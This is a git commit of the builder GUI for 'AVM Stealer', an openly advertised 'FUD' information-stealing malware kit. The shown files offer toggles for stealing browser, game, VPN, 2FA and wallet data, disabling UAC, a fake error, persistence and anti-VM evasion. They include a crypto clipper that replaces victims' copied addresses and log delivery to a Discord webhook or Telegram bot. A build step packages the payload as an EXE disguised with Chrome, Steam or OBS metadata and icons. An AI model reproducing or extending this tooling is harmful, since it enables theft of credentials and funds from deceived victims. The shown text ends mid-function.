initial commit

This commit is contained in:
i2p
2026-08-27 10:50:08 -06:00
commit 81470d3f4b
52 changed files with 19567 additions and 0 deletions
+4
View File
@@ -0,0 +1,4 @@
Thank you for using AVM Stealer!<br>
This is a free, FUD, and open-source stealer, if you buy this you get scammed.<br>
If you like the project, don't forgot to leave a star on the GitHub repository.<br>
Join our Telegram community if you need help or suggest ideas to improve our stealer. <br>
+5
View File
@@ -0,0 +1,5 @@
{
"discordWebhookURL": "",
"telegramBotToken": "",
"telegramChatID": ""
}
+66
View File
@@ -0,0 +1,66 @@
const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const fs = require('fs');
const { exec } = require('child_process');
function createWindow() {
const mainWindow = new BrowserWindow({
width: 1100,
height: 600,
icon: path.join(__dirname, 'src/style/img/icon.ico'),
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
},
backgroundColor: '#0b0d17'
});
mainWindow.loadFile(path.join(__dirname, 'src/index.html'));
mainWindow.setMenuBarVisibility(false);
}
app.on('ready', createWindow);
app.on('window-all-closed', () => {
if (process.platform !== 'darwin') {
app.quit();
}
});
app.on('activate', () => {
if (BrowserWindow.getAllWindows().length === 0) {
createWindow();
}
});
ipcMain.handle('save-info', async (event, data) => {
const filePath = path.join(app.getPath('userData'), 'settings.json');
try {
fs.writeFileSync(filePath, JSON.stringify(data, null, 2), 'utf-8');
return filePath;
} catch (error) {
throw new Error('Failed to save information: ' + error.message);
}
});
ipcMain.handle('get-info', async () => {
const filePath = path.join(app.getPath('userData'), 'settings.json');
try {
if (fs.existsSync(filePath)) {
const data = fs.readFileSync(filePath, 'utf-8');
return JSON.parse(data);
}
return null;
} catch (error) {
console.error('Failed to load information:', error);
return null;
}
});
ipcMain.handle('open-file-dialog', async (event, options) => {
const { dialog } = require('electron');
return await dialog.showOpenDialog(options);
});
+4088
View File
File diff suppressed because it is too large Load Diff
+16
View File
@@ -0,0 +1,16 @@
{
"name": "avm-builder",
"version": "2.0",
"description": "",
"main": "main.js",
"scripts": {
"start": "electron .",
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "Adapters",
"license": "GPL-3.0-only",
"devDependencies": {
"electron": "^23.3.13",
"electron-builder": "^24.13.3"
}
}
+73
View File
@@ -0,0 +1,73 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<link rel="stylesheet" href="style/style_about.css">
<link rel="stylesheet" href="style/style_notification.css">
<link rel="stylesheet" href="style/style_transitions.css">
<link href='https://unpkg.com/[email protected]/css/boxicons.min.css' rel='stylesheet'>
<title>AVM Stealer Builder</title>
</head>
<body>
<!-- Sidebar -->
<nav class="sidebar">
<div class="logo-menu">
<h2 class="logo">AVM Stealer</h2>
<i class="bx bx-menu toggle-btn"></i>
</div>
<ul class="list">
<li class="list-item">
<a href="index.html">
<i class='bx bx-grid-alt'></i>
<span class="link_name" style="--i:1">Features</span>
</a>
</li>
<li class="list-item">
<a href="binder.html">
<i class='bx bx-wallet'></i>
<span class="link_name" style="--i:2">Clipper</span>
</a>
</li>
<li class="list-item">
<a href="info.html">
<i class='bx bx-detail bx-flip-horizontal'></i>
<span class="link_name" style="--i:3">Log info</span>
</a>
</li>
<li class="list-item">
<a href="build.html">
<i class="bx bx-check-shield"></i>
<span class="link_name" style="--i:4">Build</span>
</a>
</li>
<li class="list-item active">
<a href="about.html">
<i class='bx bx-info-circle bx-flashing'></i>
<span class="link_name" style="--i:5">About</span>
</a>
</li>
</ul>
</nav>
<div class="container">
<div class="maintitle">
<h1><i class='bx bx-message-rounded-dots'></i> About</h1>
</div>
<div class="text-background">
<b>
<p id="about-text"></p>
</b>
</div>
</div>
<div class="button-container">
<button class="linkButton" id="github-link"><i class='bx bxl-github'></i></button>
<button class="linkButton" id="telegram-link"><i class='bx bxl-telegram'></i></button>
</div>
<script src="scripts/script_notification.js"></script>
<script src="scripts/script_transitions.js"></script>
<script src="scripts/script_about.js"></script>
</body>
</html>
+203
View File
@@ -0,0 +1,203 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<link rel="stylesheet" href="style/style_binder.css">
<link rel="stylesheet" href="style/style_notification.css">
<link rel="stylesheet" href="style/style_transitions.css">
<link href='https://unpkg.com/[email protected]/css/boxicons.min.css' rel='stylesheet'>
<title>AVM Stealer Builder</title>
</head>
<body>
<!-- Sidebar -->
<nav class="sidebar">
<div class="logo-menu">
<h2 class="logo">AVM Stealer</h2>
<i class="bx bx-menu toggle-btn"></i>
</div>
<ul class="list">
<li class="list-item">
<a href="index.html">
<i class='bx bx-grid-alt'></i>
<span class="link_name" style="--i:1">Features</span>
</a>
</li>
<li class="list-item active">
<a href="binder.html">
<i class='bx bx-wallet bx-flashing'></i>
<span class="link_name" style="--i:2">Clipper</span>
</a>
</li>
<li class="list-item">
<a href="info.html">
<i class='bx bx-detail bx-flip-horizontal'></i>
<span class="link_name" style="--i:3">Log info</span>
</a>
</li>
<li class="list-item">
<a href="build.html">
<i class="bx bx-check-shield"></i>
<span class="link_name" style="--i:4">Build</span>
</a>
</li>
<li class="list-item">
<a href="about.html">
<i class='bx bx-info-circle'></i>
<span class="link_name" style="--i:5">About</span>
</a>
</li>
</ul>
</nav>
<div class="container">
<!-- Background with blur effect -->
<div class="background-blur"></div>
<div class="maintitle">
<h1><i class='bx bx-wallet'></i> AVM Clipper</h1>
<button id="helpButton" class="help-button">
<i class='bx bx-info-circle'></i>Help
</button>
</div>
<div class="clipper-grid">
<!-- BTC -->
<div class="crypto-item" data-currency="btc">
<div class="crypto-header">
<i class='bx bxl-bitcoin'></i>
<span>Bitcoin (BTC)</span>
</div>
<div class="input-wrapper">
<input type="text" id="btc" placeholder="Address...">
<div class="error-bubble">Invalid BTC Address!</div>
</div>
</div>
<!-- ETH -->
<div class="crypto-item" data-currency="eth">
<div class="crypto-header">
<i class='bx bxl-ethereum'></i>
<span>Ethereum (ETH/ERC20)</span>
</div>
<div class="input-wrapper">
<input type="text" id="eth" placeholder="Address...">
<div class="error-bubble">Invalid ETH Address!</div>
</div>
</div>
<!-- LTC -->
<div class="crypto-item" data-currency="ltc">
<div class="crypto-header">
<i class='bx bx-coin'></i>
<span>Litecoin (LTC)</span>
</div>
<div class="input-wrapper">
<input type="text" id="ltc" placeholder="Address...">
<div class="error-bubble">Invalid LTC Address!</div>
</div>
</div>
<!-- TRX -->
<div class="crypto-item" data-currency="trx">
<div class="crypto-header">
<i class='bx bx-diamond'></i>
<span>Tron (TRX/TRC20)</span>
</div>
<div class="input-wrapper">
<input type="text" id="trx" placeholder="Address...">
<div class="error-bubble">Invalid TRX Address!</div>
</div>
</div>
<!-- BCH -->
<div class="crypto-item" data-currency="bch">
<div class="crypto-header">
<i class='bx bx-money'></i>
<span>Bitcoin Cash (BCH)</span>
</div>
<div class="input-wrapper">
<input type="text" id="bch" placeholder="Address...">
<div class="error-bubble">Invalid BCH Address!</div>
</div>
</div>
<!-- XMR -->
<div class="crypto-item" data-currency="xmr">
<div class="crypto-header">
<i class='bx bx-shield-quarter'></i>
<span>Monero (XMR)</span>
</div>
<div class="input-wrapper">
<input type="text" id="xmr" placeholder="Address...">
<div class="error-bubble">Invalid XMR Address!</div>
</div>
</div>
<!-- XRP -->
<div class="crypto-item" data-currency="xrp">
<div class="crypto-header">
<i class='bx bx-transfer'></i>
<span>Ripple (XRP)</span>
</div>
<div class="input-wrapper">
<input type="text" id="xrp" placeholder="Address...">
<div class="error-bubble">Invalid XRP Address!</div>
</div>
</div>
<!-- ZCASH -->
<div class="crypto-item" data-currency="zcash">
<div class="crypto-header">
<i class='bx bx-lock-alt'></i>
<span>Zcash (ZEC)</span>
</div>
<div class="input-wrapper">
<input type="text" id="zcash" placeholder="Address...">
<div class="error-bubble">Invalid Zcash Address!</div>
</div>
</div>
<!-- DOGE -->
<div class="crypto-item" data-currency="doge">
<div class="crypto-header">
<i class='bx bxs-dog'></i>
<span>Dogecoin (DOGE)</span>
</div>
<div class="input-wrapper">
<input type="text" id="doge" placeholder="Address...">
<div class="error-bubble">Invalid Doge Address!</div>
</div>
</div>
<!-- SOL -->
<div class="crypto-item" data-currency="sol">
<div class="crypto-header">
<i class='bx bx-sun'></i>
<span>Solana (SOL)</span>
</div>
<div class="input-wrapper">
<input type="text" id="sol" placeholder="Address...">
<div class="error-bubble">Invalid SOL Address!</div>
</div>
</div>
</div>
<div class="button-container">
<label class="selectButton" id="saveButton">
Save Clipper&nbsp;<i class='bx bx-save'></i>
</label>
<label class="selectButton" id="resetButton">
Clear All&nbsp;<i class='bx bx-trash'></i>
</label>
</div>
</div>
</div>
<script src="scripts/script_notification.js"></script>
<script src="scripts/script_transitions.js"></script>
<script src="scripts/script_binder.js"></script>
</body>
</html>
+188
View File
@@ -0,0 +1,188 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<link rel="stylesheet" href="style/style_build.css">
<link rel="stylesheet" href="style/style_notification.css">
<link rel="stylesheet" href="style/style_transitions.css">
<link rel="stylesheet" href="style/style_modal.css">
<link href='https://unpkg.com/[email protected]/css/boxicons.min.css' rel='stylesheet'>
<title>AVM Stealer Builder</title>
</head>
<body>
<!-- Sidebar -->
<nav class="sidebar">
<div class="logo-menu">
<h2 class="logo">AVM Stealer</h2>
<i class="bx bx-menu toggle-btn"></i>
</div>
<ul class="list">
<li class="list-item">
<a href="index.html">
<i class='bx bx-grid-alt'></i>
<span class="link_name" style="--i:1">Features</span>
</a>
</li>
<li class="list-item">
<a href="binder.html">
<i class='bx bx-wallet'></i>
<span class="link_name" style="--i:2">Clipper</span>
</a>
</li>
<li class="list-item">
<a href="info.html">
<i class='bx bx-detail bx-flip-horizontal'></i>
<span class="link_name" style="--i:3">Log info</span>
</a>
</li>
<li class="list-item active">
<a href="build.html">
<i class="bx bx-check-shield bx-flashing"></i>
<span class="link_name" style="--i:4">Build</span>
</a>
</li>
<li class="list-item">
<a href="about.html">
<i class='bx bx-info-circle'></i>
<span class="link_name" style="--i:5">About</span>
</a>
</li>
</ul>
</nav>
<div class="container">
<div class="maintitle">
<h1><i class="bx bx-check-shield"></i> AVM Builder</h1>
<div class="header-buttons">
<button id="helpButton" class="help-button" style="display: none;">
<i class='bx bx-edit'></i> Ressources
</button>
<button id="newButton" class="new-button" style="display: none;">
<i class='bx bx-file-blank'></i> Default App
</button>
</div>
</div>
<div class="outputContainer">
<div class="outputBox" id="outputBox">
<div class="log-message">[<span style="color: rgb(155, 155, 155)"> + </span>] AVM - Builder - Version
[0.1]</div>
<div class="log-message">[<span style="color: rgb(155, 155, 155)"> + </span>] Press "Build" button to
continue...
</div>
</div>
</div>
<label class="selectButton" for="fileInput">Build&nbsp;<i class='bx bx-check-circle'> </i></label>
</div>
</div>
<!-- Resource Editor Modal -->
<div id="resourceModal" class="modal">
<div class="modal-content glass-effect">
<div class="modal-header">
<h2><i class='bx bx-edit'></i> EXE Resources Settings</h2>
<span class="close-modal"><i class='bx bx-x'></i></span>
</div>
<div class="modal-body">
<!-- Left Column: Metadata -->
<div class="metadata-section">
<div class="input-group">
<label>Product Name</label>
<input type="text" id="inputProductName" placeholder="e.g. Google Chrome">
</div>
<div class="input-group">
<label>Company Name</label>
<input type="text" id="inputCompanyName" placeholder="e.g. Google LLC">
</div>
<div class="input-group">
<label>File Description</label>
<input type="text" id="inputDescription" placeholder="e.g. Chrome Setup">
</div>
<div class="input-group">
<label>File Version</label>
<input type="text" id="inputFileVersion" placeholder="1.0.0.0">
</div>
<div class="input-group">
<label>Product Version</label>
<input type="text" id="inputProductVersion" placeholder="1.0.0.0">
</div>
<div class="input-group">
<label>Copyright</label>
<input type="text" id="inputCopyright" placeholder="© 2024 All rights reserved">
</div>
</div>
<!-- Right Column: Icons -->
<div class="icon-column">
<!-- Preview Area -->
<div class="preview-box">
<div class="current-icon-wrapper">
<img id="iconPreview" src="" class="current-icon" style="display:none;">
<i class='bx bx-image placeholder-icon' style="font-size: 40px; color: #555;"></i>
</div>
<p id="selectedIconName" class="file-name-display">No icon selected</p>
<div class="icon-actions">
<button id="btnChooseIcon" class="icon-btn">
<i class='bx bx-folder-open'></i> Browse...
</button>
<button id="btnRandomIcon" class="icon-btn">
<i class='bx bx-shuffle'></i> Random
</button>
</div>
<input type="file" id="iconFileInput" accept=".ico" style="display: none;">
</div>
<!-- Predefined Grid -->
<div class="predefined-section">
<h3>Predefined Icons</h3>
<div class="icon-grid">
<div class="grid-item" data-filename="chrome.ico" title="Chrome">
<img src="../../icon/chrome.ico" alt="chrome">
</div>
<div class="grid-item" data-filename="setup.ico" title="Setup">
<img src="../../icon/setup.ico" alt="setup">
</div>
<div class="grid-item" data-filename="epic games.ico" title="Epic Games">
<img src="../../icon/epic games.ico" alt="epic games">
</div>
<div class="grid-item" data-filename="steam.ico" title="Steam">
<img src="../../icon/steam.ico" alt="steam">
</div>
<div class="grid-item" data-filename="obs.ico" title="OBS Studio">
<img src="../../icon/obs.ico" alt="obs">
</div>
<div class="grid-item" data-filename="bitcoin.ico" title="Bitcoin Core">
<img src="../../icon/bitcoin.ico" alt="bitcoin">
</div>
<div class="grid-item" data-filename="systeminformer.ico" title="System Informer">
<img src="../../icon/systeminformer.ico" alt="system informer">
</div>
<div class="grid-item" data-filename="HWiNFO.ico" title="HWiNFO64">
<img src="../../icon/HWiNFO.ico" alt="HWiNFO">
</div>
</div>
</div>
<!-- Action Button moved here for alignment -->
<div class="action-container">
<button id="btnApplyResources" class="btn-apply">
<i class='bx bx-check-shield'></i> Apply & Sign
</button>
</div>
</div>
</div>
</div>
</div>
<script src="scripts/script_notification.js"></script>
<script src="scripts/script_transitions.js"></script>
<script src="scripts/script_build.js"></script>
<script src="scripts/script_resource_popup.js"></script>
</body>
</html>
+12
View File
@@ -0,0 +1,12 @@
{
"games": true,
"browsers": true,
"filevpn": true,
"backupcodes": true,
"wallet": true,
"disableuac": true,
"computerinfo": true,
"fakeerror": true,
"startup": true,
"antivm": false
}
+115
View File
@@ -0,0 +1,115 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<link rel="stylesheet" href="style/style_index.css">
<link rel="stylesheet" href="style/style_notification.css">
<link rel="stylesheet" href="style/style_transitions.css">
<link href='https://unpkg.com/[email protected]/css/boxicons.min.css' rel='stylesheet'>
<title>AVM Stealer Builder</title>
</head>
<body>
<!-- Sidebar -->
<nav class="sidebar">
<div class="logo-menu">
<h2 class="logo">AVM Stealer</h2>
<i class="bx bx-menu toggle-btn"></i>
</div>
<ul class="list">
<li class="list-item active">
<a href="index.html">
<i class='bx bx-grid-alt bx-flashing'></i>
<span class="link_name" style="--i:1">Features</span>
</a>
</li>
<li class="list-item">
<a href="binder.html">
<i class='bx bx-wallet'></i>
<span class="link_name" style="--i:2">Clipper</span>
</a>
</li>
<li class="list-item">
<a href="info.html">
<i class='bx bx-detail bx-flip-horizontal'></i>
<span class="link_name" style="--i:3">Log info</span>
</a>
</li>
<li class="list-item">
<a href="build.html">
<i class="bx bx-check-shield"></i>
<span class="link_name" style="--i:4">Build</span>
</a>
</li>
<li class="list-item">
<a href="about.html">
<i class='bx bx-info-circle'></i>
<span class="link_name" style="--i:5">About</span>
</a>
</li>
</ul>
</nav>
<div class="container">
<div class="maintitle">
<h1><i class='bx bx-shield'></i> AVM Builder</h1>
<button id="toggleButton" class="toggle-button">Check All</button>
</div>
<div class="checkbox-container">
<div class="checkbox-list-wrapper">
<div class="checkbox-list left-list">
<div class="checkbox-item">
<input type="checkbox" id="games" name="games" value="games">
<label for="games"> Games Stealer</label>
</div>
<div class="checkbox-item">
<input type="checkbox" id="browsers" name="browsers" value="browsers">
<label for="browsers">Browsers Stealer</label>
</div>
<div class="checkbox-item">
<input type="checkbox" id="filevpn" name="filevpn" value="filevpn">
<label for="filevpn">File/VPN Stealer</label>
</div>
<div class="checkbox-item">
<input type="checkbox" id="backupcodes" name="backupcodes" value="backupcodes">
<label for="backupcodes">2FA/A2F Stealer</label>
</div>
<div class="checkbox-item">
<input type="checkbox" id="wallet" name="wallet" value="wallet">
<label for="wallet">Wallet Injection</label>
</div>
</div>
<div class="spacer"></div>
<div class="checkbox-list right-list">
<div class="checkbox-item">
<input type="checkbox" id="disableuac" name="disableuac" value="disableuac">
<label for="disableuac">Disable UAC</label>
</div>
<div class="checkbox-item">
<input type="checkbox" id="computerinfo" name="computerinfo" value="computerinfo">
<label for="computerinfo">Computer Info</label>
</div>
<div class="checkbox-item">
<input type="checkbox" id="fakeerror" name="fakeerror" value="fakeerror">
<label for="fakeerror">Fake Error</label>
</div>
<div class="checkbox-item">
<input type="checkbox" id="startup" name="startup" value="startup">
<label for="startup">Basic Startup</label>
</div>
<div class="checkbox-item">
<input type="checkbox" id="antivm" name="antivm" value="antivm">
<label for="antivm">Anti-VM/RDP</label>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="scripts/script_notification.js"></script>
<script src="scripts/script_transitions.js"></script>
<script src="scripts/script_index.js"></script>
</body>
</html>
+112
View File
@@ -0,0 +1,112 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<link rel="stylesheet" href="style/style_info.css">
<link rel="stylesheet" href="style/style_notification.css">
<link rel="stylesheet" href="style/style_transitions.css">
<link href='https://unpkg.com/[email protected]/css/boxicons.min.css' rel='stylesheet'>
<script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
<title>AVM Stealer Builder</title>
</head>
<body>
<!-- Sidebar -->
<nav class="sidebar">
<div class="logo-menu">
<h2 class="logo">AVM Stealer</h2>
<i class="bx bx-menu toggle-btn"></i>
</div>
<ul class="list">
<li class="list-item">
<a href="index.html">
<i class='bx bx-grid-alt'></i>
<span class="link_name" style="--i:1">Features</span>
</a>
</li>
<li class="list-item">
<a href="binder.html">
<i class='bx bx-wallet'></i>
<span class="link_name" style="--i:2">Clipper</span>
</a>
</li>
<li class="list-item active">
<a href="info.html">
<i class='bx bx-detail bx-flip-horizontal bx-flashing'></i>
<span class="link_name" style="--i:3">Log info</span>
</a>
</li>
<li class="list-item">
<a href="build.html">
<i class="bx bx-check-shield"></i>
<span class="link_name" style="--i:4">Build</span>
</a>
</li>
<li class="list-item">
<a href="about.html">
<i class='bx bx-info-circle'></i>
<span class="link_name" style="--i:5">About</span>
</a>
</li>
</ul>
</nav>
<div class="container">
<div class="maintitle">
<h1><i class='bx bx-detail bx-flip-horizontal'></i> Log Informations</h1>
<!-- Help Button -->
<button id="helpButton" class="help-button">
<i class='bx bx-info-circle'></i>Help
</button>
</div>
<div class="stats-container">
<div class="input-column">
<div class="input-group">
<label for="input1" onclick="openHelp('discord')">Discord Webhook URL
<i class='bx bx-help-circle'></i>
</label>
<div class="error-bubble">Invalid Discord Webhook!</div>
<input type="text" id="input1" placeholder="Enter Discord Webhook URL">
</div>
<button id="testButton" class="selectButton">
Test&nbsp;<i class='bx bx-test'></i>
</button>
</div>
<div class="input-column">
<div class="input-group">
<label for="input2" onclick="openHelp('telegramToken')">Telegram Bot Token
<i class='bx bx-help-circle'></i>
</label>
<div class="error-bubble">Invalid Bot Token!</div>
<input type="text" id="input2" placeholder="Enter Telegram Bot Token">
</div>
<div class="input-group">
<label for="input3" onclick="openHelp('telegramChat')">Telegram Chat ID
<i class='bx bx-help-circle'></i>
</label>
<div class="error-bubble">Invalid Chat ID!</div>
<input type="text" id="input3" placeholder="Enter Telegram Chat ID">
</div>
</div>
</div>
<div class="actions-container">
<label for="input-file" class="selectButton">
Save&nbsp;<i class='bx bx-check-circle'></i>
</label>
<button id="clearButton" class="selectButton clear-btn">
Clear&nbsp;<i class='bx bx-trash'></i>
</button>
</div>
</div>
</div>
<script src="scripts/script_notification.js"></script>
<script src="scripts/script_transitions.js"></script>
<script src="scripts/script_info.js"></script>
</body>
</html>
+99
View File
@@ -0,0 +1,99 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Reset Storage</title>
<style>
body {
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
}
.container {
background: white;
padding: 40px;
border-radius: 10px;
box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2);
text-align: center;
}
button {
background: #ff4757;
color: white;
border: none;
padding: 15px 30px;
font-size: 16px;
border-radius: 5px;
cursor: pointer;
margin: 10px;
transition: all 0.3s;
}
button:hover {
background: #ff3838;
transform: scale(1.05);
}
.success {
color: #2ecc71;
font-weight: bold;
margin-top: 20px;
display: none;
}
h1 {
color: #333;
margin-bottom: 20px;
}
.info {
color: #666;
margin-bottom: 20px;
}
</style>
</head>
<body>
<div class="container">
<h1>🔄 Reset Storage</h1>
<p class="info">Click the button below to clear all saved webhook and bot information.</p>
<button onclick="clearStorage()">Clear LocalStorage</button>
<button onclick="window.location.href='info.html'">Go to Info Page</button>
<p class="success" id="success">✅ Storage cleared successfully!</p>
</div>
<script>
function clearStorage() {
localStorage.removeItem('discordWebhookURL');
localStorage.removeItem('telegramBotToken');
localStorage.removeItem('telegramChatID');
localStorage.clear();
document.getElementById('success').style.display = 'block';
setTimeout(() => {
window.location.href = 'info.html';
}, 1500);
}
// Display current storage
window.onload = function () {
const webhook = localStorage.getItem('discordWebhookURL');
const token = localStorage.getItem('telegramBotToken');
const chatId = localStorage.getItem('telegramChatID');
console.log('Current storage:');
console.log('Discord Webhook:', webhook || 'Not set');
console.log('Telegram Token:', token || 'Not set');
console.log('Telegram Chat ID:', chatId || 'Not set');
}
</script>
</body>
</html>
+33
View File
@@ -0,0 +1,33 @@
const { shell } = require('electron');
const sidebar = document.querySelector('.sidebar');
const togglebtn = document.querySelector('.toggle-btn');
togglebtn.addEventListener('click', () => {
sidebar.classList.toggle('active');
});
const githubLink = 'https://github.com/AVMTools/avm-stealer';
document.getElementById('github-link').addEventListener('click', () => {
shell.openExternal(githubLink);
});
const telegramLink = 'https://t.me/avmtools';
document.getElementById('telegram-link').addEventListener('click', () => {
shell.openExternal(telegramLink);
});
document.addEventListener('DOMContentLoaded', () => {
const url = 'https://raw.githubusercontent.com/AVMTools/avm-stealer/refs/heads/main/gui/about';
const aboutTextElement = document.getElementById('about-text');
const cacheBustingUrl = `${url}?t=${new Date().getTime()}`;
fetch(cacheBustingUrl)
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.text();
})
.then(data => {
aboutTextElement.innerHTML = data;
})
.catch(error => {
console.error('Error fetching the about text:', error);
aboutTextElement.innerHTML = '<p>Failed to load content. Please try again later.</p>';
});
});
+75
View File
@@ -0,0 +1,75 @@
const sidebar = document.querySelector('.sidebar');
const togglebtn = document.querySelector('.toggle-btn');
togglebtn.addEventListener('click', () => {
sidebar.classList.toggle('active');
});
const patterns = {
btc: /^(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,41}$/,
eth: /^0x[a-fA-F0-9]{40}$/,
ltc: /^(L|M|3|ltc1)[a-km-zA-HJ-NP-Z1-9]{26,33}$/,
trx: /^T[a-zA-Z0-9]{28,33}$/,
bch: /^((bitcoincash:)?(q|p)[a-z0-9]{41})$/,
xmr: /^4[0-9AB][1-9A-HJ-NP-Za-km-z]{92,95}$/,
xrp: /^r[0-9a-zA-Z]{24,34}$/,
zcash: /^t1[0-9A-z]{32,39}$/,
doge: /^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32,61}$/,
sol: /^[1-9A-HJ-NP-Za-km-z]{32,44}$/
};
const inputs = document.querySelectorAll('.input-wrapper input');
const errorBubbles = document.querySelectorAll('.error-bubble');
const saveButton = document.getElementById('saveButton');
const resetButton = document.getElementById('resetButton');
function showError(input, bubble) {
bubble.classList.add('show');
input.style.borderColor = '#ff4757';
setTimeout(() => {
bubble.classList.remove('show');
input.style.borderColor = 'rgba(255, 255, 255, 0.1)';
input.value = '';
}, 3000);
}
inputs.forEach(input => {
input.addEventListener('change', () => {
const val = input.value.trim();
if (val === '') return;
const currency = input.id;
const pattern = patterns[currency];
const bubble = input.parentElement.querySelector('.error-bubble');
if (!pattern.test(val)) {
showError(input, bubble);
}
});
const saved = localStorage.getItem(`crypto_${input.id}`);
if (saved) input.value = saved;
});
saveButton.addEventListener('click', () => {
let allValid = true;
inputs.forEach(input => {
const val = input.value.trim();
if (val !== '') {
const pattern = patterns[input.id];
if (!pattern.test(val)) {
allValid = false;
showError(input, input.parentElement.querySelector('.error-bubble'));
} else {
localStorage.setItem(`crypto_${input.id}`, val);
}
} else {
localStorage.removeItem(`crypto_${input.id}`);
}
});
if (allValid) {
showNotification('Clipper addresses saved successfully!', 'success');
}
});
resetButton.addEventListener('click', () => {
inputs.forEach(input => {
input.value = '';
localStorage.removeItem(`crypto_${input.id}`);
});
showNotification('All addresses have been cleared.', 'info');
});
function showHelpMessage() {
showNotification('Enter your addresses. Victims copied addresses will be replaced with yours if types match.', 'info');
}
document.getElementById('helpButton').addEventListener('click', showHelpMessage);
+303
View File
@@ -0,0 +1,303 @@
const { exec } = require('child_process');
const path = require('path');
const fs = require('fs');
const https = require('https');
let outputBox = null;
const sidebar = document.querySelector('.sidebar');
const togglebtn = document.querySelector('.toggle-btn');
togglebtn.addEventListener('click', () => {
sidebar.classList.toggle('active');
});
function appendToOutputBox(html) {
if (!outputBox) return;
const div = document.createElement('div');
div.className = 'log-message';
div.innerHTML = html;
outputBox.appendChild(div);
outputBox.scrollTop = outputBox.scrollHeight;
}
function displayMessages(messages, index = 0) {
if (index >= messages.length) return;
appendToOutputBox(messages[index]);
setTimeout(() => displayMessages(messages, index + 1), 600);
}
function runScriptFile(scriptFilePath, showOutputOnSuccess = false) {
return new Promise((resolve, reject) => {
exec(`node "${scriptFilePath}"`, (error, stdout, stderr) => {
if (error) {
console.error(`Error executing ${scriptFilePath}: ${error}`);
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> Error executing ${scriptFilePath}: ${error.message}`);
appendToOutputBox(`<i class='bx bx-file' style='color:#000000'></i> Output: ${stdout.replace(/\n/g, '<br>')}`);
reject(error);
return;
}
if (stderr) {
console.error(`stderr Error: ${stderr}`);
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> stderr Error: ${stderr}`);
appendToOutputBox(`<i class='bx bx-file' style='color:#000000'></i> Output: ${stdout.replace(/\n/g, '<br>')}`);
reject(new Error(stderr));
return;
}
if (showOutputOnSuccess) {
const filteredOutput = stdout
.split('\n')
.filter(line => !line.includes('add:') && !line.includes('del:') && !line.includes('not found:'))
.join('\n');
appendToOutputBox(`<i class='bx bx-check-square' style='color:#00ff0f'></i> ${scriptFilePath} was executed successfully.`);
appendToOutputBox(`<i class='bx bx-file' style='color:#000000'></i> Output: ${filteredOutput.replace(/\n/g, '<br>')}`);
}
resolve();
});
});
}
function delay(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function build() {
return new Promise((resolve, reject) => {
const buildBatPath = path.resolve(__dirname, '..', '..', 'build');
const command = `pkg . --output app.exe --targets node14-win-x64 --compress=GZip`;
exec(command, { cwd: buildBatPath, env: { ...process.env, NODE_NO_WARNINGS: '1' } }, (error, stdout, stderr) => {
if (error) {
console.error(`Error executing pkg command: ${error}`);
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> Error executing pkg command: ${error.message}`);
appendToOutputBox(`<i class='bx bx-file' style='color:#000000'></i> Output: ${stdout.replace(/\n/g, '<br>')}`);
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> stderr Output: ${stderr.replace(/\n/g, '<br>')}`);
reject(error);
return;
}
if (stderr) {
console.error(`stderr Error: ${stderr}`);
appendToOutputBox(`<i class='bx bx-error' style='color:#ff0000'></i> stderr Error: ${stderr}`);
reject(new Error(stderr));
return;
}
console.log('pkg command executed successfully.');
appendToOutputBox(`<i class='bx bx-check-square' style='color:#00ff0f'></i> Compilation Completed Successfully !`);
setTimeout(() => {
appendToOutputBox(`<i class='bx bx-help-circle' style='color:#6699CC'></i> Click the button in the top right to change the EXE resources.`);
document.getElementById('helpButton').style.display = 'block';
const modal = document.getElementById('resourceModal');
const helpBtn = document.getElementById('helpButton');
if (modal && helpBtn) {
helpBtn.onclick = function () {
modal.classList.add('active');
if (window.initResourcePopup) {
window.initResourcePopup();
}
};
}
resolve();
}, 200);
});
});
}
document.addEventListener('DOMContentLoaded', () => {
const buildButton = document.querySelector('label[for="fileInput"]');
outputBox = document.getElementById('outputBox');
const helpButton = document.getElementById('helpButton');
const newButton = document.getElementById('newButton');
helpButton.style.display = 'none';
newButton.style.display = 'none';
function checkInfo() {
const discordWebhookURL = localStorage.getItem('discordWebhookURL');
const telegramBotToken = localStorage.getItem('telegramBotToken');
const telegramChatID = localStorage.getItem('telegramChatID');
if (discordWebhookURL || (telegramBotToken && telegramChatID)) {
if (discordWebhookURL) {
return { method: 'Discord Webhook', discordWebhookURL };
} else {
return { method: 'Telegram Bot', telegramBotToken, telegramChatID };
}
}
return null;
}
const { ipcRenderer } = require('electron');
async function loadSavedInfoToLocalStorage() {
try {
const data = await ipcRenderer.invoke('get-info');
if (data) {
if (data.discordWebhookURL) localStorage.setItem('discordWebhookURL', data.discordWebhookURL);
if (data.telegramBotToken) localStorage.setItem('telegramBotToken', data.telegramBotToken);
if (data.telegramChatID) localStorage.setItem('telegramChatID', data.telegramChatID);
}
} catch (error) {
console.error('Failed to load saved info to localStorage:', error);
}
}
loadSavedInfoToLocalStorage();
function getCheckboxStates() {
return new Promise((resolve, reject) => {
const filePath = path.resolve(__dirname, 'checkbox.json');
fs.readFile(filePath, 'utf8', (err, data) => {
if (err) {
console.error('Error reading checkbox.json:', err);
reject(err);
return;
}
try {
const jsonData = JSON.parse(data);
resolve(jsonData);
} catch (parseError) {
